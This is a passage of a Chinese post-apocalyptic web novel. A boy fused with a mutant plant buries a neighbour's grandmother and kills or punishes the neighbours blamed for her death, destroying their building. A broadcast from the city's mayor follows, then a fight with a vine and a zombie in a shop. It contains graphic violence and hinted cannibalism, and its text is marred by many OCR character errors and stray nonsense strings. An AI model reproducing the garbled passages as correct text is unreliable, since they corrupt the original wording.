“难道不是…”林梦之咬着饼,他忽然一顿,“等等,我好像还不知道你现在究竟是什么东西,我又是什么东西。乌珩将手里的长筷放到一边,他背对着林梦之,掌心朝上,虞美人的主杆从中轰然窜出,在一片热露之中,它刺向林梦之。林梦之下意识闭上眼睛。过了半天,无事发生,他才敢睁开眼,那条从发小手里钻出来的藤条竖在他的眼前,它此刻没有依附,摇来晃去,枝干柔软,像一条通体翠绿的竹叶青尤其是它将身躯弯折起来,抬起头端,形成一个倒钩状,然后凑过来贴着自己的额头。体温也跟蛇没有两样,冰冰凉凉的。林梦之不停咽口水,直到口中干涸才问:“这,是什么?乌芷昨天晚上见到过,见到的还不是这一小根,那是一大捆,满房间都挤满了,她显得比林梦之要镇定很多。“梦之哥哥,你,少见多怪啦。林梦之:“这个谁能多见不怪?!"乌珩手指稍曲,藤条就自觉返了回去,他侧脸,“你还记不记得之前我跟你说我在市郊遇到的事情?""记得。”林梦之点头“那时候我们都不知道是怎么回事,我只知道从市郊回来的我已经不再是人类,可我到底是什么,我也是后来才知道。林梦之当然知道发小已经不是人了,正常人吃不下那么多东西,正常人也不可能身体里出现刚刚那样的大青条子。"所以,你是什么?"乌珩蹙了下眉,似乎也不太清楚要怎么描述如今的自己,“植物吧,变异植物。“植物?!”林梦之手里的饼都差点掉了,“你确定不是动物?动物起码是活的!“你忘了小区里那些变异植物了?不少植物已经拥有了自我意识。”“是市郊那片虞美人花田,它现在长在你的身体里?”乌珩摇了下头,“我跟它是一体的,不存在谁在谁的身体里这个说法。“那就好,”林梦之松了口气,“我刚刚还怕是它占据了你的身体,你变成了它的容器,如果是你所说的这种情况,那它还能当你的武器。林梦之仿佛到此时才反应过来,“这也,太酷了吧!那我呢我呢我呢?我现在成什么了? “人。 乌珩接着说:“但不是普通的人,是拥有了异能的人,我问了谢崇宜,他的回复和我猜测的一样,你极有可能是与火系相关的异能。 “我没有异能,所以我不太清楚要怎么使用异能,但是你可以试着感受一口口内有没有存在一股以前不存在的能量流动,,它给你的感觉应该是像一种比血液密度稍低的零状体在与你的血波同时流动,它也一样曲你的心脏泵出。 乌珩说完以后,低头看着冒黑烟的锅里,“你先试着感受,我饼糊了。 林梦之把剩下几口饼并做一口塞进嘴里,搓搓手,换了个姿势,在厨房打起坐来。 X和乌芷一眨不眨地看着他。 乌珩将几只糊了的煎饼放到一旁,身后X扯着嗓子喊了几声傻逼,想必是林梦之没有成功使出异能。 但没等他回头,X叫出了一声撕心裂肺的傻逼。 乌珩想也没想,捞过手边的半瓢水就朝X泼了过去。X抖了抖湿淋淋的翅膀,恨恨地看着林梦之。林梦之从地上爬了起来,他此刻指尖都还是麻的,“我感受到了,但我感觉不像是雾,温度比血液要高,有实体,像热水一样!"“可能异能不同,能量流动的感受也不同,"乌珩关了火,用毛中一边轻轻地给X擦拭着羽毛一边朝林梦之微抬下巴,“你用一下异能我看看。 林梦之扎了个马步,“看好了。”“哈!”他击出一道火焰,一道明亮的火舌自他掌心朝前方舔舐过去,但即出即收。林梦之重新站好,开心地朝一旁的“监考官”看过去,他脸上的笑容僵住,“阿、阿珩,你头发,燃了。“我知道。”乌珩淡定地抬手拍灭了头发的几撮火苗,被烧到的几缕头发卷了起来。林梦之有些不太好意思,“我以后会多多练习,现在还没有什么经验。 “以后去空地练。”乌芷还端坐在地上,她已经看呆了,“哥哥,这是什么?"乌珩敷行都懒得敷行,“蝴蝶。乌芷歪着脑袋皱着眉,怎么也想不明白刚刚看见的跟蝴蝶有什么关系。林梦之比乌珩要有耐心,他蹲下来,打了个响指,凭空一小撮火苗在小女孩的眼前显现。“乌芷,这不是蝴蝶,这是牛逼。 乌珩没有理睬身后两人,他将厨房里剩下的工作快速收尾,回到了客厅,重新拿了条干毛巾,坐在沙发上给X仔仔细细地擦着水。 X将脑袋倚靠在少年温热的手腕上,乌珩说抬脚它就抬脚,说抬翅膀它就抬翅膀。 它羽毛上的水分慢慢被擦走,乌珩用手指拨开它背部的绒毛,昨天被变异蛇勒伤的一圈,今天已经结了痂,但引起他注意的不是X受的伤,而是羽根底下的皮肤。 正常鸟类的皮肤应该是软的,更何况手底下这只鹦鹉还是个未成年。 乌珩用指腹从后往前摸了两遍。 X的皮肤发硬变黑,表面不平,像是覆盖了一层极微小的鳞片。 X被摸得有点痒,但在乌珩的手里它不敢跑,埋着头使劲往乌珩臂弯里钻。 乌珩按着它的后颈,拇指抚摸着它坚硬的喙,喃道:“你到底会变成一只什么样的鸟? 饭后,三人花了几个小时在院子里挖了只半人高的土坑,还没来得及将林玲凤放进去,乌芷一下跳了进去,“哇塞,我躺在里面刚好耶!" 乌珩面不改色地用铁锨给她头上浇了一头泥,“那先埋你。" 乌芷见哥哥脸色不好,手脚并用地从里面爬出来。 站在旁边围栏上盯梢丧尸的X“哈哈”了两声,明晃晃地嘲笑。 林梦之走进屋里,将老人抱了出来,他迈进坑里,小心翼翼地将老人平放下去。 老人身上的寿衣是她生前自己准备的,死后仪容则是出林梦之亲于整理,林梦之从坑里爬上来,他抹了把跟睛,“现在也没地儿火化,你将就一下,等回头怪物被清理了,生活变得跟以前一样了,我沿你挖出来再火化,给你买汉州位置导 贵的墓地。 “你有钱?”乌珩站在坑的对面,突然问。 林梦之一下僵住,“用她养老金买。” 不M口-作 X跟着笑,但笑声刺耳,被乌珩一巴掌拍下了围栏。 温润的泥土一捧一捧地填回坑里,老人身上颜色鲜艳的寿衣慢慢变成被掩埋的色块,到最后被完全掩埋,最后一捧盖在脸上的土是林梦之浇上去的,林梦之还是没忍住,機着铲子呜呜地哭了起来。乌珩却在这时候走了神,他想起小时候林奶奶拉着鼻青脸肿的自己上自家的门找那夫妻俩理论。明明自己是乌世明曾丽珂的儿子,林奶奶凶神恶煞得像是自己孙子被外人欺负了。“你们不想养就别养,把孩子打成这样,你们还是不是人?"一天天把自己拾掇得人模狗样的,背地里猪狗不如。“生儿子没屁/眼的两个短命鬼,你们早晚…哎,前面那句呸呸呸,你们就是两个短命鬼!杀千刀的!"林梦之还在哭,乌芷在旁边用脏兮兮的两只手给他擦着眼泪,“你眼泪好多,我快擦不过来了。乌珩将铁锨倚着围栏放好,转身钻进楼道。楼道里静悄悄的,一只丧尸都没有,因为乌珩之前清理过。上楼时,乌珩甚至在想,是不是自己当时不应清理楼里的丧尸,如果楼中始终有丧尸游荡着,躲在屋子里的人是不是也不敢摸出来,以至老人受伤去世。他甚至还在想,如今的情况,不管是丧尸还是怪物,是否也能以它们是清道夫的想法去看待。 顶楼的人已经被名叫梨梨的小女孩吃得一个不剩,乌珩站在五楼第一户人家门前,他抬手敲了两下门。 过了一会儿,才有声音在门后响起,“谁?” “我是乌珩,林奶奶去世了,刚刚下葬,我想请你们来参加她的葬礼。”乌珩的语气客气礼貌。门后的人从猫眼里看见的确是乌珩没错,样子也还是个正常人,与一旁的女人对视一眼后,有了底气,咬牙最起,"什么去世不去世?现在这外面全是死人,还葬礼,你可笑不可笑!"乌珩蹙眉,“大家都是邻居,抬头不见低头见,况且,奶奶生前对你.”滚!赶紧滚!"男人迫不及待地打断了少年的话,"那都是以前的事情,你现在提那些是想道德绑架?乌珩,你信不信我告诉乌世明让他抽你一顿,看你还敢不敢多管闲事!"乌珩低头不语,过了半天,他才掀起眼皮,语气冰冷,“那么,这就算是你自己选的了。少年将手掌轻轻贴在门板的猫眼上,伴随着一道崩碎声,藤条袭进室内。门后面的夫妻看着这东西,长大了嘴连话声音都发不出了。怪.…怪物,乌…乌珩也成了怪物… 藤条在屋子里游了一圈,最后在厨房里找到了成堆的大米和几袋十豆,灶台上还有七八颗大白菜。 藤条沿着这些食物爬了一周,最后悠悠然地退出厨房。 它绕了一个圈,在面朝缩在门后的男女时,瞬间绷紧如剑。 噗呲,噗呲。藤条从女人脑后捅进去,从嘴里出来,而她则眼睁睁地看着这个东西又从丈夫的嘴里捅了进去,自丈夫的脑后穿出。走廊里的乌珩缓缓放下手臂,收回来的藤条尾端被染红,连带着猫眼的洞口都沾上了血。乌珩舔舔唇,他眉头皱起来,差点干呕,人血的味道令他感到异常恶心。休整后,乌珩站在了下一户人家门口,他的唇色变得比刚刚红润,说出口的话一直未变。“我是乌珩,林奶奶去世了,刚刚下葬,我想请你们来参加她的葬礼。" 跟上一家情况差不多。 乌珩叹了口气,将手掌再次贴在了猫眼上。 一层楼有四户人家,但不是每一户都住了人,五楼就只有三户,剩下的一户在乌珩上楼时便已经听见脚步声,早早地趴在了猫眼后面。 起先看见是乌珩他们还松了口气,可他们没想到那个平时看起来内向柔弱的少年,居然是怪物,还是特意上楼来杀人的。 他们在乌珩走向他们家门口时提前将门打开,一家三口哆味着跪在乌珩面前,“乌珩乌站,叔叔网典也是设办法,我们家里都没有吃的了,是你爸妈来我我们说老林家里有吃的,我们只打算去借点吃的,就借点,但老林他妈死活不开门,。 7 知道是谁就把老林家门撬了,然后就乱了,但我们没拿多少东西,不信你去看,我们就拿了一小盆土豆。 乌珩听了后,当真走进了屋里去看。 厨房的确就只有一小盆士豆,目测也就二十来个。乌珩刚想离开,他脚下就踩到了一块空的地板砖,地板砖的另一头高高地翘了起来。走廊的夫妻俩瞬间汗流浃背。乌珩后退一步,掀起了地板砖,下面是满满当当的食物,面粉挂面食用油大妻俩中间的小女孩在此时突然出声,“阿珩哥哥,我卧室的书柜里也有!你都拿回去吧,本来就是我们抢来的!他爸转头抬手就甩了小女孩一耳光。乌珩没去小女孩的卧室查看,他走了出去,重新站在他们面前时,乌珩搓了搓指尖,突然扬手一耳光扔在了男人脸上。这一耳光极快也极重,男人被打得措手不及,惊愕又愤怒地看着少年。乌珩却看也懒得看他,而是蹲到小女孩面前将她从地上扶了起来,摸了摸她已经肿了起来的脸颊.小女孩眼泪一行接着一行。乌珩声音轻柔地问她:“林奶奶昨天晚上去世了,我打算将她暂时先埋葬在院子里,你愿意去送她最后一程吗?"小女孩哽咽着点头,“林奶奶经常给我零食吃,我愿意去。”“好孩子。”乌珩轻声道。乌珩没有再问旁边男女愿不愿意,他牵着小女孩的手和她一起下楼,身为父母的他们再不愿意,也马上就跟了上去.他将人交给了林梦之,“我去通知剩下的人。林梦之杵着铁锨,他冷冷地看着畏畏缩缩的两个熟人,他们明显是从未世开始就没下楼,此刻林梦之都不足以让他们恐惧,他们现在就害怕突然从哪里跳出来几个丧尸不知道忍了多久,林梦之忍无可忍,他大步走到男人面前,一把掐住了他的脖子,将他丢到了小士包旁边,他居高临下,眼睛通红,“看他妈哪里呢,看这里。男人将头埋进胸口,浑身发抖。 乌珩没费太久时间,将楼里的人悉数“请”了下来,中途反抗甚至想要动手的人,乌珩也只能如他们的愿,让他们永远地留在了楼上"乌珩!你到底想干什么呀?这人都已经死了,我们也不是故意的,你看外面这么危险,你就让我们上去吧,要不进屋也行,我们进屋说。“就是啊,这还有两个小孩呢,他们什么都不懂。“那丧尸可是会吃人的,乌珩你是想害死我们吗?" 林梦之气得发抖,他指着这十几个人,“你们害死我奶,现在你们还有理了?信不信我几铲子敲死你们。"乌珩倒淡然处之,他站在一旁,面容冷清,“你们给她磕三个头吧。“磕头?什么东西,磕头都是给自家长辈磕,我们跟老林家什么关系也没有啊!“磕个头嘛,我磕。有人跪下去,将脑袋在石板砖上磕得砰砰响,起来得飞快,完成要求后,一脸的释然与放松。而不愿意跪下去的人,乌珩走过去,他表情轻描淡写,却伸手就格住了中年男人的脖子,他五指缓缓收拢,对对方对自己的又踢又挠无动于衷,直到对方不停眨眼,改变主意。7小“"力乃力乃水 林梦之掉下眼泪,他抬头看着天。乌珩最后才跪下来,乌芷也忙跟着他跪下。少年磕一个头,小女孩跟着磕一个。直到三个头磕完,小女孩看着哥哥眼眶里闪动的泪光她才恍然理解到了人闭着眼睛躺在小土包里是什么意思。乌芷大喊了一声奶奶不要,扑到小土包上嚎啕大哭。乌珩依旧双膝跪地,他看着众人,含泪笑起来,“我跟梦之没有家了,你们也不能例外。众人还没有反应过来,他已将掌心贴于地面。片刻后,腕粗的藤条从地底下轰然出现,如潮水般朝居民楼涌去,居民楼地下的地基发出毛骨悚然的断裂声。 24、第24章(1w营养液加更) 众人脚下的地面开始晃动.,他们不自觉便抱成一团,眼睁睁看着从地下冒出来的藤条数量越来越多,粗的细的,地皮都被出一条条裂缝.他们想不出这些自己便能生长的藤蔓到底是出自于乌珩的身体还是出自于地底下但不管是从何而来,众人心底的恐惧都跟这些疯长的藤蔓一样,同时疯涨。藤条开始沿着楼栋的边缘不断攀爬延长,阳台、窗户、壁面逐渐完全被绿色覆盖,它们占领了这栋楼的每一处,严丝合缝地将这栋楼给包裹了起来。林梦之屏住呼吸看着眼前这一幕,他心脏跳得极快,因为他大概猜到了乌珩想要做什么。乌珩齿间溢出血腥味,脸色也变得苍白, 楼顶的众藤条肉眼可见地颤了一下,摇摇晃晃着松散开,开始往回收伴随着藤条的下落回收,已经被挤压碎裂的居民楼一层一层地塌,直到包裹着楼栋的藤条完全收回,不见踪影。而刚刚还完好的居民楼已经变成了一堆钢筋水泥块。 鸦雀无声。最先回过神的是住在三楼的一个中年女人,她往前走了两步,嘴唇颤个不停,“我要报警,我要报警.”她呐呐说道。几乎不用猜,这就是乌珩做的——少年毁了他们的居所,毁了他们的资产,也毁了他们在这未世里唯一的安全区。而使对方对他们做出这一恶劣报复行径的居然只是因为一点吃的,以及死了一个本来就活不了多久的老人“乌珩你怎么能这样?我们已经听你的下了楼,可你却把我们的房子毁了,这对你有什么好处?"“你让我们以后去哪儿啊?现在外面全是丧尸!"“我家就这套房子,你得赔钱。"“你爸妈还在房子里呢!"乌珩扯了扯嘴角,“我爸妈在我肚子里。接连几道否咽口水的咕咚声响起。 一个男人的脸暴怒肿胀,他挽起衣袖一把推开了左右的人,拾起地上的铁锨,“我杀了你!”他口中喊着,高举铁锨,大步朝乌珩冲去。 “轰” 林梦之掌心之上悬着一团熊熊燃烧着的火焰,他挡在了乌珩身前,“你要杀谁?" 男人一个急刹,用看怪物的眼神也看了林梦之。 林梦之继续道:“没让你们所有人陪葬已经是我们客气了,你们杀了我奶还不够,还想继续杀人?"“我奶平时对你们也不差吧,做什么吃的没顺手也给你们送一份?你们楼上掉些破烂她还每次给你们捡了收好,你们胞东西就算了,她一个瞎子,一把年纪,你们伤她,还不管她,屋子里进来那么多丧尸…"说着,林梦之便开始更唱 再也说不下去。他用通红的眼睛注视着众人,“今天有我在,谁也不能伤阿珩。乌芷蹲在他的脚边,小心拽他裤脚,“还有我,也不能伤我。男人将手中铁锨慢慢放下,他目不转睛地看着林梦之掌心那团火,崩溃道:“我们不是故意的,我们真的不是!"“我管你们是不是故意的,错了就是错了,错了你们就得付出代价!”林梦之声嘶力竭,拼尽全力才控制住没让自己将手中的火焰朝对面丢过去。男人闭上嘴,将头扭过去,身后的众人也都选择了沉默。头顶,脚下,天与地也都沉默无声。乌珩身体始终处于脱力状态,刚刚施展异能,他几乎将自己整个掏空了,没有讲食,没有同系的能量核,他坐在地上,连站起来的力气都没有,。下开始长出官全兴艺天其事扫过去!他缕白负胡须样的东开它们伸进了地下。很快,乌珩感觉自己的头晕和脱力好转了一些乌珩思考着,这些白色胡须多半是虞美人的根系,能量流失太多,它在自给自足——从地里缓缓汲取着所需的养分。这下真是跟植物没有任何区别了,乌珩心想 外界的沉默没能维持过久,一阵滋滋啦啦的电流声突然出现。 起先还没有人注意,直到断断续续的电流声中忽的掺杂了一两声女性的咳嗽声。 而电流声不仅是在这一小片废墟旁出现,更是在整个小区,整个汉州的每一个角落几乎都同时出现。 “汉州的广大市民们,上午好,我是汉州的市长管应雪。 “接下来将由我为大家播报一则重要通知,请每一名还活着的市民都认真听我接下来说的每一句话,每一个字,也清务必都记住,因为这将关系着我们每一个人的生死存亡。 一周前,一种不知名的病毒席者全球,不仅人类被感染,生物圈内的所有生物也者没有逃过。不管是我们人类自身,还是随处可见的动植物,甚至空气中的骨生物,都或多或少有被感染的概率,而一旦被感染,获数概率在目前确定为“直到今天为止,全国乃至全球已在这场灾难中全部沦陷,无一处幸免。今天上午,我方接到通知,即日起,各地由各地政府自行管理。广播虽然断断续续,但市长的出现无疑给了所有人希望,所有人都在期待着市长给出应对这场灾难的办法。广播消失了很久,再次出现已经是几分钟之后,广播后面,依旧是管应雪在发言“但人类之所以是人类,就是无论我们在何种境地都能迅速改变自身以适应新的环境。在这次的灾难中,地球上的所有生物都出现了异化的特征,这其中也包括人类。“经过讨论,我们初步将异化分为两大类,一类是畸变,最终将成为渴望活物的嗜血的丧尸,一类则是,进化。“这今为止,已知进化方向有金、木、水、火、土五系,五系的细分方向尚在讨论整里中,除去五系,听力、嗅觉、视觉等感官,肌肉、速度、力量、皮肤等体质都会因为个体差异出现程度不同的进化。遗感的是,并不是每个人都会进化。进化的概率极低极低,我们暂时将成功进化的这类特殊人类称之为异能者。"“现在,我方诚恳地向异能者们发起招募,希望你们能帮助政府参与汉州的城市重建计划,助力我们使家园重现生机!" 说完这一番话之后,广播里再度失去了人声。人群中逐渐有人反应了过来。“进化?就是跟电影里面那些超能力一样吗?"“我什么变化都没有,我没有进化!"“那普通人呢?普通人怎么办啊?"政府眼里就只有异能者,不管我们普通人死活了?!" 人们已经躲在家中将近一周,可是不管是政府还是军队,都如同人间蒸发了般,这次终于出现,带来的消息却有如晴天霞雳,阴霾重新笼置在了汉州市每个人的头顶 “妈妈!妈妈!你让我进来!”汉州的广播总控制室玻璃门外,短发女生痛哭流涕地拍着门。门内,市长管应雪让身旁的异能者继续供电,她摇了摇脑袋,“我还有最后的话要叮嘱。“市长”青年一只手开始调动异能,一只手攥着一把手/枪。管应雪双手抠着桌沿,她双目已经有些发灰,但神情坚定,“我没多少时间了,要是畸变,不管话有没有说完,解决我。"身后门外唯一的女儿的哭声都没能让她回头,她只略显动容,然后道:“我把她交给你,汉州和汉州的所有市民,也交给你。青年抹着眼泪,哭着点头, 很快,管应雪的声音又出现在了广播中。“我并不是汉州本地人,但是在汉州市人民政府已经工作了将近二十年,从我选择成为一名公职人员的那一天起,我便立志为人民烧尽我最后一滴血泪。"“汉州逢此劫难,我无力回天,只能眼睁睁看着我守护了二十年的城市变得面目全非,我真的,真的希望你们每个人都能子好活下去,我一嗬——我想一吼——" 管应雪控制不住回头,活下去。 门外的女生只能看见母亲的口型。 这场汉州市全体市民都全神贯注聆听着的广播,以一声枪响和一声“妈妈”作为结束。 天空乌云甚多,阳光时隐时现。 直躲在家里的人,因为这一场广播,终于开始小心翼翼地在室外小范围地活动。 很明显,各大或官方或非官方的组织都面临着溃散,面临着与众人同样甚至更棘手的难题。 在这种时候,每个人除了自己,无法指望任何人或者团体。 乌珩从废墟里掏了不少物资出来收进了空间,大部分都不是吃的,而是日用品。 也不是他亲自动手掏的,而是藤条忙活的。 “我刚刚找出来的东西去哪儿了?!"林梦之刨得灰头土脸,一回头,好不容易刨出来的东西乌珩一挥手就没了,他还以为自己看见了什么魔法。 乌珩点了点胸口,“在我心里。” 林梦之脸上出现茫然,“有点肉麻。 H# 乌芷在一旁嘻嘻一声,“梦之哥哥你又少见多怪了。”“你又见过?"乌芷神秘道:“哆啦A梦就是这样的。” 小女孩的话虽然充满了童真,但确实解了林梦之的疑惑。 林梦之不再问,一想到乌珩有一个看不见的大口袋,他铆足了劲儿在废里翻能用的东西让乌珩装起来。 乌珩脚边的破烂儿越堆越多,他看了眼,挑挑拣拣地收了些。 这时候,藤条攥着一本相册从石块地下抽出来,递给林梦之。 林梦之看见家里的相册,眼泪差点掉了下来。 三人一件一件地往身上添装备,乌珩的短刀葬送在了幼儿园,他只能捡了把菜刀先将就着用,顺便还把自己的裁纸刀塞进了乌芷手里。 “这下面捡的衣服是没法穿了,全是灰。”林梦之抱着相册,从废墟堆上跳下来。 乌珩也不看急,“去商场拿。 “对对对!”林梦之猛然回神,“现在都什么时候了,我们直接去商场拿不就行了!" 行装整理得差不多了,三人最后再给院子里那个小士包磕了几个头,便起身准备离开。 不远处一直在看着三人的一家三口在这时候牵着小女孩朝他们跑过去。 “乌珩,梦之,梦之梦之,等等,你们等等。”被男人抱在怀里的小女孩脸上还有清晰可见的巴掌印,是之前五楼那一家人。 女人态度变了许多,她微微弓着背,“乌珩,那个,你们是要走吗?你们准备去哪里啊?"“不知道。”乌珩不咸不淡,“随便走走吧,世界这么大。”此刻,这一家人已经知道了异能者的存在,他们亲眼见过眼前两个男孩子异于常人的地方,他们知道这两人一定就是市长口中所说的异能者。“乌珩,阿姨有个不情之请-林梦之板着脸,“那就别请了。 女人始终看着乌珩,她一把把小女孩从男人怀里抱到了自已怀里来,她急切道:“大人的惜不应让小孩承担,我女儿有多懂事听话你网网地是看见了,我设什么别的清求,我就是求你,你能肥我女儿也带上吗?随便去哪儿,让她跟乌芷起,她俩反正一般大,也能做个伴儿不是。"“不要!我要跟你在一起!"乌珩都还没来得及张口,小女孩就哭了起来,死死搂着女人的脖子不肯放手。“你怎么这么不让我省心,你跟着我跟你爸能活几天?你.”女人惊异道:“为什么?" 乌珩想了想,说:“麻烦,而且,她又不能吃。听见乌珩说不能吃,又想到了之前乌珩说乌世明和曾丽珂在他的肚子里,女人脸色一青,控制不住地往后退了两步面前一家三口明显放弃一开始的打算后,乌珩面色冷淡地掠过他们,背着包往前走去,林梦之和乌芷忙不迭地跟上 吗, 25、第25章 乌云罩顶,城市1日日的繁荣景象只能透过气氛沉闷的建筑物回忆,活人几乎不见踪迹 丧尸的数量没有想象中那么密集,大抵要么是饿死了,要么是被变异动植物给吃了。林梦之走在最前面,他拎着刀一言不发地开路。乌芷拽着乌珩衣角,手里抱着走哪都不肯丢下的布娃娃,头上顶着好吃懒做的X。附近最近的商场距离他们不到五公里,平时坐个地铁过去也就不到半个小时的功夫,但现在这个时候,别说地铁,城市的一切都已经崩溃了,他们只能步行。乌珩正在边走边看手上的一卷汉州地图。他从小在汉州长大,对汉州基本地形和城市规划虽说心里有数,但只是清楚一个大概,更加详略和全面的还是得看地图,汉州地处平原,但区域内有大大小小十个湖泊,乌珩暂时没心思去想这十个湖泊的水质和水里生物是否有发生变异,他目光落在汉州西南部的一个占地将近800公顷的植物园。地图是给前来汉州旅游的游客制作的,所以植物园图标旁边还特意标注园内收集的植物多达2w种。如此数量惊人的植物种类,其中存在变异植物的概率肯定要比外面大得多。虽然是同类,可它们的能量核,全部都与自己同系,皆是大补。“哥哥?”乌芷走得气喘吁吁, 小声开口。乌珩心不在焉,“嗯?"“梦之哥哥杀了好多怪物,哥哥你要去帮帮他吗?“你怎么不去?""…”乌芷的脸涨红,“我害怕。”“我也害怕。”乌珩眼也未抬,口吻冷淡。乌芷左看右看,她抱紧了手里的布娃娃,回头看着身后,走得跟跄,“哥哥,有人在跟着我们。乌珩这才有了反应,他回眸,身后几个年轻人立马就一溜烟地躲到了街边一辆小轿车的后面。“不用管。”乌珩收回目光,继续往前走。那几人每个人身上最少都背了两个包,跟人跟得汗流浃背,气都喘不上了,但一想到一旦跟云了,就得自己面对时不时窜出来的丧尸,那身体上的劳累顿时就如烟消云散“这两个小子平时没看出来啊,这么厉害?”"明明都看见我们了,也没说让我们跟着他们一块儿走,也算是我看着长大的不是,难怪能做出把人家房子都掀了那种事。''多大的脸,还看着长大的,以前他俩上小学你们俩没少堵在路上抢人家零花钱。三人跟乌珩同住一个小区,正好也住在他们楼栋的对面,广播一出,就是明着宣告:各位各找各妈,自寻出路吧。于是,有的人决定继续躲在家里,等着政府和军队找到解决传染病毒的办法,等着救援到来的那一天,而有的人则决定出门闯一闯,横竖在家也是个饿死这三人恰好就属于后者,还恰好在对面将乌珩和林梦之施展异能的过程看得一清二楚乌珩和林梦之明摆着不会继续留在小区,他们马上就跟着胡乱收拾了几包东西.少年前脚出小区,他们后脚就跟了上去。“不行了,我歇会儿!”林梦之叉着腰靠在了街边一家便利店的墙上,满头大汗。他侧头朝落后自己一段路的乌珩乌芷看过去,乌芷还好说,战战兢兢,令人心里相当平衡,而乌珩姿态散漫得仿佛是在某个惬意的午后悠然漫步!他手里拿着的也不应该是一张地图,而更应该是一杯喝得让人摸不着头脑的手磨咖啡。乌芷小跑到林梦之面前,“我想喝可乐!"“我上哪儿给你找可乐?”林梦之翻了个白眼。 乌芷食指点了点林梦之身旁的玻璃门,“里面就有。 林梦之回头。 沉默两秒钟后,林梦之弯下腰用刀熟练地撬开了便利店的锁。 乌珩在这时候已经走到了便利店前面的空地上,他站定后,往里面扫了眼,“拿什么? “可乐,你喝吗?" "可以。" 乌芷走进收银台先扯了一个购物袋,然后站在货架前一罐一罐地往袋子里丢可乐,她每丢一瓶,头上的鸟就点一下头。 头顶上方,传来滑行生出的窸窸察察声。 X最先反应过来,它抬起头时,店内已经被某种不知名的大叶藤类植物给全部占领了,进来的时候,店内明明于干净净,什么也没有 X叫了一声,飞出了便利店。 X飞到了乌珩眼前,抓走了他的地图,示意他看店里 而就这么短短的十秒钟不到的时间,肥硕健壮的藤蔓在便利店门口已经形成了厚厚的门帘,一旁林梦之还在毫无所觉地比划着手里的刀,藤蔓却已经悄无声息地去到他的脚下。 林梦之手里的刀被乌珩一把夺走,朝对方劈过去。 手起刀落,藤蔓吃痛缩了回去。 乌珩丢下一句“在外面等我”,林梦之还不知发生了什么,他就已经扬手劈开了绿色门帘,步入了店内。 绿色已经成为了便利店内的天与地,它们还在生长,爬行,蠕动,它们显得不不忙。 “哥哥.…”乌芷呆呆地站在货架边上,她脖子已经被勒紧了,手里的布娃娃还拼命抱着,可乐也没舍得放下。 乌珩一时无言,他走到乌芷面前后,认出植物的本体是藤萝。 他用手掌轻轻握住对方的脖子,伴随着一声细响,勒着乌芷的藤应声而断。 到这时,这些枝叶旺盛的藤蔓才反应过来自己的食物被掠夺了,它们涌动的速度加快,摆出了即将进攻的姿势。 乌珩只来得及把乌芷先推出了店,因为在他即将跑出去时,藤鞭捆住了他的腰,少年身影一晃便消失在了门口处。 “哥哥!" 林梦之六神无主,“我放火烧死它!" “那你也会烧死我哥哥的!! 乌珩仿佛又回到了在市郊的那一天。 整个店内被藤蔓塞得密不透风,它们沿着墙壁货架不断抽生,摩擦产生的声音像极了身处于某种爬行动物的巢穴。 周围的氧气在逐渐减少,对方企图将他活活死在这里面。 “你自己送上门来的,”乌珩站了半天,才抬手随意捡起一条分枝握在手里,“正好现在我需要补充体力。 乌珩的体力在小区时就已经透支,虞美人与他共享一切,同时也受他的意识影响——他不在乎自己能活多久,他要对方死 与人类共生的变异植物在接触到同类的那一刻瞬间蜜出人类的身体,以同样的方式开始攻城掠地。 店内碎叶纷飞,绿色的浆汁如雨降落。 少年脸色惨白如鬼魅,他弯腰,在脚下找到刚刚带进店里的刀。 拿着刀,他若无其事地在店内转悠着。 只要是植物,都会有根,哪怕是水生植物。 他微凉的手指按在了牢牢依附于墙壁的腕粗藤身上,藤身明显颤了一下。 就那么一瞬间,乌珩便捕捉到了它颤抖时下意识回缩的方向。 毫不犹豫,乌珩大步走入到了便利店的最深处,他站在了一扇门前,看着从眼前门内不断朝外涌出的藤蔓 里面应该就是变异绿萝的本体所在了。 乌珩扬刀奋力斩断了几条藤蔓,趁着藤蔓抽出新芽的时间,他一个闪身挤了进去。 里面俨然是便利店堆积货物的仓库,但此时货物没见着几件,人类尸山已经无限接近天花板。 藤萝的根系黑得发亮,它正是从这几十具尸体里面延伸而出,每一条根系分枝下面都躺着一具尸体 有些尸体面朝着乌珩,脸上恐惧惊慌的表情还能看得清清楚楚 眼前的场景令乌珩想起以前春游时去公园看见的一些形状奇特的树,它们有的枝干上会长出形状各异的树瘤子,突兀却又俨然与树本身浑然一体 眼前这些姿势各异的尸体与那些树瘤子极像,他们不仅成了变异绿萝的养分,就连躯壳都成了绿萝的一部分,就仿佛他们原本就是长在绿萝根上的。 任何人看见这一幕都会感到生理性的不适,乌珩也是。 少年一步一步走过去,他选了一具背朝着自己的尸体,将刀从对方后背没入。 白色的汁液沿着刀刃渗出,头顶的绿萝藤疯狂地摇摆着身躯,却被乌珩的藤蔓死死压制住 乌珩拔出刀,挽起衣袖,弯腰将手探进了尸体体内。 他在里面掏了半天,空手而出。 不适的感受散尽,一无所获的不满逐渐从乌珩玉白一样的脸上流淌而出,少年眉梢眼角的阴郁越发深浓。 噗呲,噗呲,噗呲…. 乌珩不再挑剔尸体的姿势和表情,一刀一刀插遍了眼前能够到的每一具尸体。 他如阎罗,不分物种地索命。 根系被破坏得七七八八,绿萝的叶子不再油亮,藤身不再坚硬,它的叶片开始发黑发黄,藤身开始发软,失去附着力,一把一把地从墙上脱落 林梦之和乌芷跑进来时,乌珩正在甩着发酸的手腕,他没听见呼唤,将刀插进了最后一具女尸的胸口,头一回,刀尖在没入时遇到了阻力。 乌珩目光一顿,脸上露出浅浅的笑意,“找到了。 他将刀拔出,在尸体的心脏位置掏出了一颗裏满了白色汁液的绿色能量核, “哥哥!”乌芷突然发出尖叫声。 躺在地上的尸体在能量核离体之后骤然睁眼,她躺着没动,手臂却笔直拾起,五指轻而易举就陷进了少年的左胸膛 乌珩表情滞了滞,他低下头,看见对方的手掌已经完全没入了自己的胸膛,乌青的手臂也跟着陷了一段进去 他能清晰地感受到自己体内出现了异物,同时还感受得到自己的心脏已经被死死住。 女尸成功得手,她扬起眉,慢慢坐直上身。 “原来不是变异绿萝,是丧尸。”乌珩看着对方浑浊的眼睛,轻声道。 林梦之掌下的火焰若隐若现。 丧尸看向他,声音嘶哑,“你敢动,我立刻杀了他。 话音刚落,刀刃的寒光在几人眼前一闪,丧尸的手臂在瞬间被切下,没等丧尸反应过来,她的脑袋也被少年一刀给削飞了出去。 龙T工合THMTP Me本O等, M巫里开, #元学产一早小 屈郊办 日号2 深有同感的藤条从外面收回来,径直奔向女尸,将她刺成了一摊泥, 林梦之和乌芷同时屏住了气息,无一人敢出声。 